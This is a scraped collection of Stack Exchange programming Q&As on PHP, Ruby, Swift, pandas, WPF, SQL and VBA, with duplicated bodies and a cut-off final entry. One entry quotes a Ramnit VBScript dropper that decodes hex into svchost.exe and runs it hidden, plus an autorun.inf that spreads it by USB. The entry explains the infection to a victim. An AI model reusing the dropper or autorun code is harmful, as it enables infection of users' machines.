问:
read .txt file content into php multi dimensional array
I have a .txt file with content like this

Abuja, the Federal Capital Territory has -- -- -- -- -- area Council

A. 4

B. 6

C. 7

D. 2

ANSWER: B

The Federal Capital Territory is associated with-- -- -- -- -- -- -- vegetation belt

A. Sahel savanna

B. Rainforest

C. Guinea savanna

D. Sudan savanna

ANSWER: C

The most significant factor responsible for the ever increasing population of FCT is

A. High birth rate

B. Immigration

C. Death rate

D. CENSUS

ANSWER: B

i would love to read the file content into a multi dimensional array so i can get each questions, its answers and the correct answer for each of the questions.

i have tried this:-

```<code>$array=explode("\n", file_get_contents('file.txt'));
print_r($array);
</code>```

but it doesn't give me what i want..

答:
```<code>Try This..

$array=explode("\n", file_get_contents('file.txt'));
$array = array_filter(array_map('trim',$array));
$chunk_array = array_chunk($array, 6);
foreach($chunk_array as $key => $value){
    $final_array[$key]['question'] = $value[0];
    $final_array[$key]['options'] = array_slice($value, 1, -1);
    $final_array[$key]['answer'] = end($value);
}
echo '```';
print_r($final_array);
echo '```';
</code>```

Body:
I have a .txt file with content like this

Abuja, the Federal Capital Territory has -- -- -- -- -- area Council

A. 4

B. 6

C. 7

D. 2

ANSWER: B

The Federal Capital Territory is associated with-- -- -- -- -- -- -- vegetation belt

A. Sahel savanna

B. Rainforest

C. Guinea savanna

D. Sudan savanna

ANSWER: C

The most significant factor responsible for the ever increasing population of FCT is

A. High birth rate

B. Immigration

C. Death rate

D. CENSUS

ANSWER: B

i would love to read the file content into a multi dimensional array so i can get each questions, its answers and the correct answer for each of the questions.

i have tried this:-

$array=explode("\n", file_get_contents('file.txt'));
print_r($array);

but it doesn't give me what i want..

Body:
Try This..

$array=explode("\n", file_get_contents('file.txt'));
$array = array_filter(array_map('trim',$array));
$chunk_array = array_chunk($array, 6);
foreach($chunk_array as $key => $value){
    $final_array[$key]['question'] = $value[0];
    $final_array[$key]['options'] = array_slice($value, 1, -1);
    $final_array[$key]['answer'] = end($value);
}
echo '<pre>';
print_r($final_array);
echo '</pre>';


来源: stackexchange

问:
Whats the difference between Command Parameters and Menu Contribution Parameters
I can see that parameters can be defined for Commands defined using the Commands extension point. I can not define a value for these command parameters.

I can also define parameters under the Command element in the menus extension point when defining menu contributions. I can define a value for the parameter here.

Are the command parameters in Command different from parameters in menu contributions? If they are different how are they different?

答:
The plugin org.eclipse.ui.command, Let you declare parameters for your commands. When you add parameter to your command, you have to set and  id, type and a list of possible values for your parameter implementing IParameterValues.

After that, you can add this command to a menu item with parameters and its values.

For example, Imagine you have a command with id org.rcp.commands.new. And It's defined a parameter with name "type" and posible values (file, project and folder). You'll be able to add three menu item with commandId = "org.rcp.commands.new"
for each parameter

Sample of plugin.xml

         ...

Find more info in this link:
http://blog.eclipse-tips.com/2008/12/commands-part-3-parameters-for-commands.html

ContentLicense: CC BY-SA 2.5


问:
Method 'method' call adds extra word 'Kernel' in output
1) While a Method object for the following g:

```<code>class Word < Array
  def g
    puts "JJ"
  end
end

w = Word.new([4, 6])
</code>```

has inspection like this,

```<code>w.method(:g) # => #<Method: Word#g>
</code>```

why and how does the Method object for the class have (Kernel) in the inspection as below?

```<code>w.method(:class) # => #<Method: Word(Kernel)#class>
Word.method(:class) # => #<Method: Class(Kernel)#class>
</code>```

2) Why and how does the inspection of Method object for method have Class in place of Word's superclass Object like the following?

```<code># => #<Method: Object#class>
</code>```

答:
Method class seems to come from Kernel module. It's documented in Object class though, as Kernel documentation says (https://ruby-doc.org/core-2.4.2/Kernel.html).

It's because the object Word is of class Class, its superclass has nothing to do with it in this case.

ContentLicense: CC BY-SA 3.0

Body:
1) While a Method object for the following g:

class Word < Array
  def g
    puts "JJ"
  end
end

w = Word.new([4, 6])

has inspection like this,

w.method(:g) # => #<Method: Word#g>

why and how does the Method object for the class have (Kernel) in the inspection as below?

w.method(:class) # => #<Method: Word(Kernel)#class>
Word.method(:class) # => #<Method: Class(Kernel)#class>

2) Why and how does the inspection of Method object for method have Class in place of Word's superclass Object like the following?

# => #<Method: Object#class>


问:
How can I reference the IntelliJ project path in my code?
I have a text file in my project and need to read its contents:

```<code>private final static String SOURCE_FILE = "C:/Project/resources/Source.txt";
</code>```

Is it possible to use an IntelliJ variable?

```<code>private final static String SOURCE_FILE = "${ProjectDir}/resources/Source.txt";
</code>```

I want to avoid hardcoding a path in my code.

答:
In most circumstances, what you should do instead is put the file into a resources directory of your project/module (src/main/resources will work by default, you can create it if it doesn't exist) and access it using methods getResource or getResourceAsStream on Class and ClassLoader. See Accessing Resources guide from Oracle.

The major exception is if you need to pass this file to an external program.

Body:
I have a text file in my project and need to read its contents:

private final static String SOURCE_FILE = "C:/Project/resources/Source.txt";

Is it possible to use an IntelliJ variable?

private final static String SOURCE_FILE = "${ProjectDir}/resources/Source.txt";

I want to avoid hardcoding a path in my code.


问:
Ionic 3 ion-slide in ion-list not working properly
My slide is not working anymore when I put it in ion-list. The reason I put it in there is because I'm using infinite scroll and if I put a slide outside the list it doesn't scroll properly. Is there a way to get the slide working in ion-list?</p>

```<code><ion-list no-lines style="width:100%;margin:0;padding:0;" [hidden]="artArray.length == 0" [virtualScroll]="artArray" approxItemHeight="40px">

<div >
    <ion-slides autoplay="3000" loop="true" speed="400" style="height:120px;" pager="true">
        <ion-slide>
            <img src="assets/p1.png" />
        </ion-slide>
        <ion-slide>
            <img src="assets/p2.png" />
        </ion-slide>
        <ion-slide>
            <img src="assets/p3.png" />
        </ion-slide>
    </ion-slides>
</div>

    <ion-item *virtualItem="let item;let i=index" no-padding style="border-bottom:solid #eeeeee 1px;height:120px;" (click)="pushArtdetailsPage($event, item)"
     [ngClass]="{'firstitem': i==0 }" >

        <div id="lstimg" style="width:120px;height:120px;padding-top:10px;padding-bottom:5px;background-color:#f8f8f8;">
            <img src="{{ item.art_pic1 }}" width="120px" height="100px" style="padding:0px 5px 0px 10px;">
            <!--<ion-img width="120px" height="100px" src="{{ item.art_pic1 }}" [cache]="true" style="padding:0px 5px 0px 10px;"></ion-img>-->
            <!--<virtual-ion-img width="100px" height="100px" [src]=" item.art_pic1"></virtual-ion-img>-->
        </div>
        <h6 ion-text color="dark" style="position:absolute;top:10px;left:130px;font-weight:bold;">{{ item.art_name }}</h6>
        <h6 ion-text style="position:absolute;left:130px;top:30px;font-weight:bold;font-size:0.9em;color:gray;" *ngIf="item.art_is_shop != 1">{{ item.art_seller }}</h6>
        <h6 ion-text color="primary" style="position:absolute;left:130px;top:30px;font-weight:bold;font-size:0.9em;" *ngIf="item.art_is_shop == 1">{{ item.art_seller }}</h6>
        <h6 ion-text color="mygray" style="position:absolute;left:130px;top:50px;font-size:0.9em;font-weight:bold;color:gray;"><span ion-text color="mygary">{{ item.art_price }}</span> fcfa</h6>
        <h6 *ngIf="item.art_old_price !=0" ion-text color="mygray" style="background-color: #fae6ee;padding: 2px 2px 2px 2px;font-size:0.7em;position:absolute;left:130px;top:75px;text-decoration:line-through;font-weight:bold;">{{ item.art_old_price }} fcfa</h6>
    </ion-item>

</ion-list>
</code>```

答:
Just an idea, but have you try changing the div encapsulating the slide into an item of the list?

```<code><ion-list>
    <ion-item>
       <ion-slides>
         <ion-slide>
         </ion-slide/>
       </ion-slides>
    </ion-item>

    <ion-item *virtualItem="let item;let i=index">
    </ion-item>
 </ion-list>
</code>```

But not sure it gonna solve your original proble it doesn't scroll properly.

Btw. what do you mean with it doesn't scroll properly?

Without using virtualScroll for example with a ngFor does it scroll properly?

Have you try to decontruct the css properties of the page with the Chrome debugger to see if a css attribute would have this side effect?

Body:
My slide is not working anymore when I put it in ion-list. The reason I put it in there is because I'm using infinite scroll and if I put a slide outside the list it doesn't scroll properly. Is there a way to get the slide working in ion-list?

<ion-list no-lines style="width:100%;margin:0;padding:0;" [hidden]="artArray.length == 0" [virtualScroll]="artArray" approxItemHeight="40px">

    <ion-slides autoplay="3000" loop="true" speed="400" style="height:120px;" pager="true">
        <ion-slide>

        </ion-slide>
        <ion-slide>

        </ion-slide>
        <ion-slide>

        </ion-slide>
    </ion-slides>

    <ion-item *virtualItem="let item;let i=index" no-padding style="border-bottom:solid #eeeeee 1px;height:120px;" (click)="pushArtdetailsPage($event, item)"
     [ngClass]="{'firstitem': i==0 }" >

{{ item.art_name }}

{{ item.art_seller }}

{{ item.art_seller }}

{{ item.art_price }} fcfa

{{ item.art_old_price }} fcfa

    </ion-item>

</ion-list>

Body:
Just an idea, but have you try changing the div encapsulating the slide into an item of the list?

<ion-list>
    <ion-item>
       <ion-slides>
         <ion-slide>
         </ion-slide/>
       </ion-slides>
    </ion-item>

    <ion-item *virtualItem="let item;let i=index">
    </ion-item>
 </ion-list>

But not sure it gonna solve your original proble it doesn't scroll properly.

Btw. what do you mean with it doesn't scroll properly?

Without using virtualScroll for example with a ngFor does it scroll properly?

Have you try to decontruct the css properties of the page with the Chrome debugger to see if a css attribute would have this side effect?


问:
How is this piece of VB code getting added automatically?
Whenever I open a JavaScript (.js) Or HTML (.html) files after a few days in Notepad++, a similar VB script gets automatically added at the end. I strongly feel that this is some kind of virus, can anyone guide me on this?</p>

```<code></html> // My file ends here......
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000 ...... {lots of numbers}
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!-- ޼ .... {Lots of junk characters here } -->
</code>```

答:
This is a virus called Win32.Ramnit
read the description here:

https://www.virustotal.com/#/file/fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320/detection

I have just discovered this virus at one of my client's computer and this virus modified all my html files in my USB Portable harddisk.

This script execute the VBScript to create a file and execute it and install a program at this folder:

```<code>C:\Program Files\Microsoft\DesktopLayer.exe
</code>```

read more: http://greatis.com/blog/how-to-remove-malware/desktoplayer-exe-virus-ramnit.htm

and for every USB pendrive that you inserted into this infected pc, the virus will create 2 files:

```<code>autorun.inf
\RECYCLER\<random GUID>\<random charx8>.exe
</code>```

The content of autorun.inf:

```<code>[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
shell\explore\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
</code>```

Which attempt to execute the virus installer when this pendrive is inserted into another computer.

Body:
Whenever I open a JavaScript (.js) Or HTML (.html) files after a few days in Notepad++, a similar VB script gets automatically added at the end. I strongly feel that this is some kind of virus, can anyone guide me on this?

 // My file ends here......

Body:
This is a virus called Win32.Ramnit
read the description here:

https://www.virustotal.com/#/file/fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320/detection

I have just discovered this virus at one of my client's computer and this virus modified all my html files in my USB Portable harddisk.

This script execute the VBScript to create a file and execute it and install a program at this folder:

C:\Program Files\Microsoft\DesktopLayer.exe

read more: http://greatis.com/blog/how-to-remove-malware/desktoplayer-exe-virus-ramnit.htm

and for every USB pendrive that you inserted into this infected pc, the virus will create 2 files:

autorun.inf
\RECYCLER\<random GUID>\<random charx8>.exe

The content of autorun.inf:

[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
shell\explore\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe

Which attempt to execute the virus installer when this pendrive is inserted into another computer.


问:
Type casting and inspection query
I am currently working through the basics of Type Casting and Inspection in swift 4.  I have found an example in the Apple Developer book which i need a bit of help with.

They have an exercise to create an Any type dictionary and then unwrap the values looping through the dictionary. The given solution shows the for loop with the value in brackets and each value being unwrapped. Can someone give an explanation for the solution shown? and is there another(simple) way to solve this? There is not enough information in the book.

```<code>let anythingAndEverything: [String: Any] = ["FirstBool": true,
"FalseBool": false, "Unknown": "90", "AnInteger": 12, "ADouble": 1.1]

print(anythingAndEverything)

var total: Double = 0
for (_, value) in anythingAndEverything {
    if let value = value as? Bool {
        if value {
            total += 2
        } else {
            total -= 3
        }
    } else if let value = value as? Double {
        total += value
    } else if let value = value as? Int {
        total += Double(value)
    } else if let value = value as? String {
        total += 1
    }
}

print(total)
</code>```

Many thanks for any help in advance :-)

答:
In addition, I recommend you to read an official explanation from Apple's Swift guide. There is also a great example looping through Collection and using switch statement to check for value's type.

```<code>for thing in things {
    switch thing {
    case 0 as Int:
        print("zero as an Int")
    case 0 as Double:
        print("zero as a Double")
    case let someInt as Int:
        print("an integer value of \(someInt)")
    case let someDouble as Double where someDouble > 0:
        print("a positive double value of \(someDouble)")
    case is Double:
        print("some other double value that I don't want to print")
    case let someString as String:
        print("a string value of \"\(someString)\"")
    case let (x, y) as (Double, Double):
        print("an (x, y) point at \(x), \(y)")
    case let movie as Movie:
        print("a movie called \(movie.name), dir. \(movie.director)")
    case let stringConverter as (String) -> String:
        print(stringConverter("Michael"))
    default:
        print("something else")
    }
}
</code>```

I would also like to explain this part:

```<code>case let varName as TypeName
</code>```

This means that if the new varName equal the non-optional version of thing and also of type TypeName, do the next with it.

Title: Type casting and inspection query

Body:
I am currently working through the basics of Type Casting and Inspection in swift 4.  I have found an example in the Apple Developer book which i need a bit of help with.

They have an exercise to create an Any type dictionary and then unwrap the values looping through the dictionary. The given solution shows the for loop with the value in brackets and each value being unwrapped. Can someone give an explanation for the solution shown? and is there another(simple) way to solve this? There is not enough information in the book.

let anythingAndEverything: [String: Any] = ["FirstBool": true,
"FalseBool": false, "Unknown": "90", "AnInteger": 12, "ADouble": 1.1]

print(anythingAndEverything)

var total: Double = 0
for (_, value) in anythingAndEverything {
    if let value = value as? Bool {
        if value {
            total += 2
        } else {
            total -= 3
        }
    } else if let value = value as? Double {
        total += value
    } else if let value = value as? Int {
        total += Double(value)
    } else if let value = value as? String {
        total += 1
    }
}

print(total)

Many thanks for any help in advance :-)

Body:
In addition, I recommend you to read an official explanation from Apple's Swift guide. There is also a great example looping through Collection and using switch statement to check for value's type.

for thing in things {
    switch thing {
    case 0 as Int:
        print("zero as an Int")
    case 0 as Double:
        print("zero as a Double")
    case let someInt as Int:
        print("an integer value of \(someInt)")
    case let someDouble as Double where someDouble > 0:
        print("a positive double value of \(someDouble)")
    case is Double:
        print("some other double value that I don't want to print")
    case let someString as String:
        print("a string value of \"\(someString)\"")
    case let (x, y) as (Double, Double):
        print("an (x, y) point at \(x), \(y)")
    case let movie as Movie:
        print("a movie called \(movie.name), dir. \(movie.director)")
    case let stringConverter as (String) -> String:
        print(stringConverter("Michael"))
    default:
        print("something else")
    }
}

I would also like to explain this part:

case let varName as TypeName

This means that if the new varName equal the non-optional version of thing and also of type TypeName, do the next with it.


问:
Displaying pair plot in Pandas data frame
I am trying to display a pair plot by creating from scatter_matrix in pandas dataframe. This is how the pair plot is created:

```<code># Create dataframe from data in X_train
# Label the columns using the strings in iris_dataset.feature_names
iris_dataframe = pd.DataFrame(X_train, columns=iris_dataset.feature_names)
# Create a scatter matrix from the dataframe, color by y_train
grr = pd.scatter_matrix(iris_dataframe, c=y_train, figsize=(15, 15), marker='o',
hist_kwds={'bins': 20}, s=60, alpha=.8, cmap=mglearn.cm3)
</code>```

I want to display the pair plot to look something like this;

I am using Python v3.6 and PyCharm and am not using Jupyter Notebook.

答:
I finally know how to do it with PyCharm.

Just import matploblib.plotting as plt instead:

```<code>import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import mglearn
from pandas.plotting import scatter_matrix

from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split

iris_dataset = load_iris()

X_train,X_test,Y_train,Y_test = train_test_split(iris_dataset['data'],iris_dataset['target'],random_state=0)
iris_dataframe = pd.DataFrame(X_train,columns=iris_dataset.feature_names)

grr = scatter_matrix(iris_dataframe,c = Y_train,figsize = (15,15),marker = 'o',
                        hist_kwds={'bins':20},s=60,alpha=.8,cmap = mglearn.cm3)
plt.show()
</code>```

Then it works perfect as below:

Body:
I am trying to display a pair plot by creating from scatter_matrix in pandas dataframe. This is how the pair plot is created:

# Create dataframe from data in X_train
# Label the columns using the strings in iris_dataset.feature_names
iris_dataframe = pd.DataFrame(X_train, columns=iris_dataset.feature_names)
# Create a scatter matrix from the dataframe, color by y_train
grr = pd.scatter_matrix(iris_dataframe, c=y_train, figsize=(15, 15), marker='o',
hist_kwds={'bins': 20}, s=60, alpha=.8, cmap=mglearn.cm3)

I want to display the pair plot to look something like this;

I am using Python v3.6 and PyCharm and am not using Jupyter Notebook.

Body:
I finally know how to do it with PyCharm.

Just import matploblib.plotting as plt instead:

import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import mglearn
from pandas.plotting import scatter_matrix

from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split

iris_dataset = load_iris()

X_train,X_test,Y_train,Y_test = train_test_split(iris_dataset['data'],iris_dataset['target'],random_state=0)
iris_dataframe = pd.DataFrame(X_train,columns=iris_dataset.feature_names)

grr = scatter_matrix(iris_dataframe,c = Y_train,figsize = (15,15),marker = 'o',
                        hist_kwds={'bins':20},s=60,alpha=.8,cmap = mglearn.cm3)
plt.show()

Then it works perfect as below:


问:
Is an upload (put) object to AWS S3 from web browser possible?
But is a bit of a random question and no one should ever do it this way, but is it possible to execute a put api call to amazon S3 from the web browser? Using only query params.

For instance, ignoring authentication params, I know you can do https://s3.amazonaws.com/~some bucket~

To list files in the bucket. Is there a way to upload?

答: Have  look at Browser-Based Uploads Using POST</p>


问:
MahApps Metro HamburgerMenu Binding Not working
I'm not too sure if this is the best place to ask this but I thought I'd give it a go.

I'm trying to implement a Hamburger Menu into my application using MahApps Metro UI Toolkit which worked great in a test window I made. So I then started moving to one of my main windows which makes use of a View Model.

The problem is, any bindings within the HamburgerMenu do not work at all, but works fine outside of the HamburgerMenu control.

[Example View:

This picture shows the test window mockup I made to show an example. The title and both textboxes are all bound to "MyTitle". As you can see, the one within the HamburgerMenu does not work.

I have tried binding the ViewModel to the HamburgerMenu control as well which did not work. I'd imagine it would have to be bound to "TheContentGrid" or "TheContent" controls within the HamburgerMenu ControlTemplate but those are not accessible from the Code Behind.

XAML:

```<code><Controls:MetroWindow
        ..
        Title="{Binding MyTitle}"
        ..>
    <Grid>
        <Grid.Resources>
            <DataTemplate x:Key="MenuItemTemplate" DataType="{x:Type Controls:HamburgerMenuGlyphItem}">
                <Grid Height="48">
                    <Grid.ColumnDefinitions>
                        <ColumnDefinition Width="48" />
                        <ColumnDefinition />
                    </Grid.ColumnDefinitions>

                    <TextBlock Grid.Column="0" FontSize="16" HorizontalAlignment="Center" VerticalAlignment="Center" FontFamily="Segoe MDL2 Assets" Text="{Binding Glyph}" />
                    <TextBlock Grid.Column="1" VerticalAlignment="Center" FontSize="16" Text="{Binding Label}" />
                </Grid>
            </DataTemplate>
        </Grid.Resources>

        <TextBox Text="{Binding MyTitle}" HorizontalAlignment="Right" />

        <Controls:HamburgerMenu Margin="0 30 0 0"
            SelectedIndex="0"
            x:Name="HamburgerMenuControl"
            ItemTemplate="{StaticResource MenuItemTemplate}"
            OptionsItemTemplate="{StaticResource MenuItemTemplate}"
            ItemClick="HamburgerMenuControl_OnItemClick"
            OptionsItemClick="HamburgerMenuControl_OnItemClick"
            DisplayMode="CompactOverlay">
            <!--  Items  -->
            <Controls:HamburgerMenu.ItemsSource>
                <Controls:HamburgerMenuItemCollection>
                    <Controls:HamburgerMenuGlyphItem Glyph="" Label="Home">
                        <Controls:HamburgerMenuGlyphItem.Tag>
                            <Grid>
                                <TextBox Text="{Binding MyTitle}" HorizontalAlignment="Center" VerticalAlignment="Top"/>

                                <TextBlock Text="Home View" FontSize="32" HorizontalAlignment="Center" VerticalAlignment="Center" />
                            </Grid>
                        </Controls:HamburgerMenuGlyphItem.Tag>
                    </Controls:HamburgerMenuGlyphItem>
                </Controls:HamburgerMenuItemCollection>
            </Controls:HamburgerMenu.ItemsSource>

            <!--  Content  -->
            <Controls:HamburgerMenu.ContentTemplate>
                <DataTemplate DataType="{x:Type Controls:HamburgerMenuItem}">
                    <Grid x:Name="TheContentGrid">
                        <ContentControl x:Name="TheContent" Content="{Binding Tag}" />
                    </Grid>
                </DataTemplate>
            </Controls:HamburgerMenu.ContentTemplate>
        </Controls:HamburgerMenu>
    </Grid>
</Controls:MetroWindow>
</code>```

Code Behind & View Model

```<code>public partial class WindowTest : MetroWindow
{
    public WindowTest()
    {
        InitializeComponent();

        DataContext = new TestViewModel();
    }

    private void HamburgerMenuControl_OnItemClick(object sender, ItemClickEventArgs e)
    {
        HamburgerMenuControl.Content = e.ClickedItem;
        HamburgerMenuControl.IsPaneOpen = false;
    }
}

public class TestViewModel : BindableBase
{

    private string myTitle;
    public string MyTitle
    {
        get { return myTitle; }
        set { SetProperty(ref myTitle, value); }
    }

    public TestViewModel()
    {
        MyTitle = "Title from VM";
    }
}
</code>```

Please let me know if more information is required.

答:
You should solve your problem implementing the INotifyPropertyChanged interface.

```<code>public class TestViewModel : BindableBase, INotifyPropertyChanged
{
    public void SetPropertyChanged(string propertyName)
    {
        PropertyChanged?.Invoke(this, new     PropertyChangedEventArgs(propertyName));
    }
    public event PropertyChangedEventHandler PropertyChanged;
    private string myTitle;
    public string MyTitle
    {
        get { return myTitle; }
        set {
              SetProperty(ref myTitle, value);
              SetPropertyChanged("MyTitle");
            }
    }

    public TestViewModel()
    {
        MyTitle = "Title from VM";
    }
}
</code>```

The problem is that you are not notifying your UI that the Text property of the first textbox is changed. The UI is initialized before the viewmodel, that's why you see the empty textbox

Body:
I'm not too sure if this is the best place to ask this but I thought I'd give it a go.

I'm trying to implement a Hamburger Menu into my application using MahApps Metro UI Toolkit which worked great in a test window I made. So I then started moving to one of my main windows which makes use of a View Model.

The problem is, any bindings within the HamburgerMenu do not work at all, but works fine outside of the HamburgerMenu control.

[Example View:

This picture shows the test window mockup I made to show an example. The title and both textboxes are all bound to "MyTitle". As you can see, the one within the HamburgerMenu does not work.

I have tried binding the ViewModel to the HamburgerMenu control as well which did not work. I'd imagine it would have to be bound to "TheContentGrid" or "TheContent" controls within the HamburgerMenu ControlTemplate but those are not accessible from the Code Behind.

XAML:

<Controls:MetroWindow
        ..
        Title="{Binding MyTitle}"
        ..>
    <Grid>
        <Grid.Resources>
            <DataTemplate x:Key="MenuItemTemplate" DataType="{x:Type Controls:HamburgerMenuGlyphItem}">
                <Grid Height="48">
                    <Grid.ColumnDefinitions>
                        <ColumnDefinition Width="48" />
                        <ColumnDefinition />
                    </Grid.ColumnDefinitions>

                    <TextBlock Grid.Column="0" FontSize="16" HorizontalAlignment="Center" VerticalAlignment="Center" FontFamily="Segoe MDL2 Assets" Text="{Binding Glyph}" />
                    <TextBlock Grid.Column="1" VerticalAlignment="Center" FontSize="16" Text="{Binding Label}" />
                </Grid>
            </DataTemplate>
        </Grid.Resources>

        <TextBox Text="{Binding MyTitle}" HorizontalAlignment="Right" />

        <Controls:HamburgerMenu Margin="0 30 0 0"
            SelectedIndex="0"
            x:Name="HamburgerMenuControl"
            ItemTemplate="{StaticResource MenuItemTemplate}"
            OptionsItemTemplate="{StaticResource MenuItemTemplate}"
            ItemClick="HamburgerMenuControl_OnItemClick"
            OptionsItemClick="HamburgerMenuControl_OnItemClick"
            DisplayMode="CompactOverlay">

            <Controls:HamburgerMenu.ItemsSource>
                <Controls:HamburgerMenuItemCollection>
                    <Controls:HamburgerMenuGlyphItem Glyph="" Label="Home">
                        <Controls:HamburgerMenuGlyphItem.Tag>
                            <Grid>
                                <TextBox Text="{Binding MyTitle}" HorizontalAlignment="Center" VerticalAlignment="Top"/>

                                <TextBlock Text="Home View" FontSize="32" HorizontalAlignment="Center" VerticalAlignment="Center" />
                            </Grid>
                        </Controls:HamburgerMenuGlyphItem.Tag>
                    </Controls:HamburgerMenuGlyphItem>
                </Controls:HamburgerMenuItemCollection>
            </Controls:HamburgerMenu.ItemsSource>

            <Controls:HamburgerMenu.ContentTemplate>
                <DataTemplate DataType="{x:Type Controls:HamburgerMenuItem}">
                    <Grid x:Name="TheContentGrid">
                        <ContentControl x:Name="TheContent" Content="{Binding Tag}" />
                    </Grid>
                </DataTemplate>
            </Controls:HamburgerMenu.ContentTemplate>
        </Controls:HamburgerMenu>
    </Grid>
</Controls:MetroWindow>

Code Behind & View Model

public partial class WindowTest : MetroWindow
{
    public WindowTest()
    {
        InitializeComponent();

        DataContext = new TestViewModel();
    }

    private void HamburgerMenuControl_OnItemClick(object sender, ItemClickEventArgs e)
    {
        HamburgerMenuControl.Content = e.ClickedItem;
        HamburgerMenuControl.IsPaneOpen = false;
    }
}

public class TestViewModel : BindableBase
{

    private string myTitle;
    public string MyTitle
    {
        get { return myTitle; }
        set { SetProperty(ref myTitle, value); }
    }

    public TestViewModel()
    {
        MyTitle = "Title from VM";
    }
}

Please let me know if more information is required.

Body:
You should solve your problem implementing the INotifyPropertyChanged interface.

public class TestViewModel : BindableBase, INotifyPropertyChanged
{
    public void SetPropertyChanged(string propertyName)
    {
        PropertyChanged?.Invoke(this, new     PropertyChangedEventArgs(propertyName));
    }
    public event PropertyChangedEventHandler PropertyChanged;
    private string myTitle;
    public string MyTitle
    {
        get { return myTitle; }
        set {
              SetProperty(ref myTitle, value);
              SetPropertyChanged("MyTitle");
            }
    }

    public TestViewModel()
    {
        MyTitle = "Title from VM";
    }
}

The problem is that you are not notifying your UI that the Text property of the first textbox is changed. The UI is initialized before the viewmodel, that's why you see the empty textbox


问:
nVarchar and SqlParameter
I'm developing an application which must support several languages. To solve the special characters problem I'm using NVarhcar for my text fields. So my SQL query for a text field is

```<code>insert into tbl_text(text)values(N'Chci tančit v oblasti')
</code>```

My problem is to put it in SqlCommand, wich is "insert into tbl_text(text)values(N@text)". It saves "N@text" in the DB table, sure.

Do you guys know someway to do it? I'm using C# and SQL 2008.

Sorry if it was hard to understand my question. My English is poor =/

答:
Use SQLParameters.

Here is a simple example:

```<code>var cmd = _dbCon.CreateCommand();
cmd.CommandText =
    "insert into tbl_text (textfield) values(@textfield)";
cmd.Parameters.Add(new SQLParameter("@textfield", "Chci tančit v oblasti"));
cmd.ExecuteScalar();
</code>```

Title: nVarchar and SqlParameter

Body:
I'm developing an application which must support several languages. To solve the special characters problem I'm using NVarhcar for my text fields. So my SQL query for a text field is

insert into tbl_text(text)values(N'Chci tančit v oblasti')

My problem is to put it in SqlCommand, wich is "insert into tbl_text(text)values(N@text)". It saves "N@text" in the DB table, sure.

Do you guys know someway to do it? I'm using C# and SQL 2008.

Sorry if it was hard to understand my question. My English is poor =/

Body:
Use SQLParameters.

Here is a simple example:

var cmd = _dbCon.CreateCommand();
cmd.CommandText =
    "insert into tbl_text (textfield) values(@textfield)";
cmd.Parameters.Add(new SQLParameter("@textfield", "Chci tančit v oblasti"));
cmd.ExecuteScalar();


问:
How can I create a non sequential sequence like 1.1/1.2/2.1/2.2 and so on with vba?
I am working on a project that requires that I use a non sequential sequence that restarts everyday. Like this:

```<code>13/11/2017

1.1

1.2

2.1

2.2

3.1
</code>```

And then starts over from 1.1 on the next day.

I'm not really sure what to do in this case. Use an array? Set an Excel column with those values? Use an event?

Can someone help me?

Here's the code so far.

```<code>Private Sub CommandButton4_Click() 'Guardar Banho Grelhas
    Dim LastRow As Long, CR As Long, CRG As Long, CRP As Long, CRE As Long, ws As Worksheet, ws2 As Worksheet, ws3 As Worksheet, ws4 As Worksheet, rgr As Long, rgp As Double, rge As Long, Ar As Variant, n As String, x As Long, d As Long, PRG As Long

    Set ws = Sheets("Banho Grelhas")
    Set ws2 = Sheets("STOCK Grelhas")
    Set ws3 = Sheets("STOCK Pyr")
    Set ws4 = Sheets("STOCK Et")
        LastRow = ws.Range("A" & Rows.Count).End(xlUp).Row + 1 'Banho Grelhas
        CR = ws.Range("A" & Rows.Count).End(xlUp).Row
        PRG = ws2.Range("A" & Rows.Count).End(xlUp).Row - 1 'Previous Row STOCK Grelhas
        CRP = ws3.Range("A" & Rows.Count).End(xlUp).Row - 1 'Current Row STOCK Pyr
        CRE = ws4.Range("A" & Rows.Count).End(xlUp).Row - 1 'Current Row STOCK Et
        CRG = PRG + 1 'Current Row Grelhas
        rgr = TextBox6.Value 'Grelhas a remover
        rgp = 17.5 * 0.8 'Pyrolidona a remover
        rge = 17.5 * 0.2 'Ethylenodiamina a remover
        n = "001"
        x = Replace(Date, "/", " ")
        d = x & n
        Ar = Sheets("Banho Grelhas").Range("K1:K120").Value

        ws.Range("A" & LastRow).Value = d
        ws.Range("B" & LastRow).Value = TextBox26.Text 'ID Carbonação
        ws.Range("C" & LastRow).Value = ws2.Range("A" & CRG) 'ID Grelhas
        ws.Range("D" & LastRow).Value = TextBox6.Text 'Quantidade Grelhas / Banho
        ws.Range("E" & LastRow).Value = ws3.Range("A" & CRP) 'ID Pyr
        ws.Range("F" & LastRow).Value = ws4.Range("A" & CRE) 'ID ET
        ws.Range("G" & LastRow).Value = "1,1"
        ws.Range("H" & LastRow).Value = TextBox5.Text 'TETRA
        ws.Range("I" & LastRow).Value = Format(Now(), "dd/mm/yyyy hh:mm") 'Data / Hora introdução
        ws.Range("J" & LastRow).Value = Date

        'Nº Banho
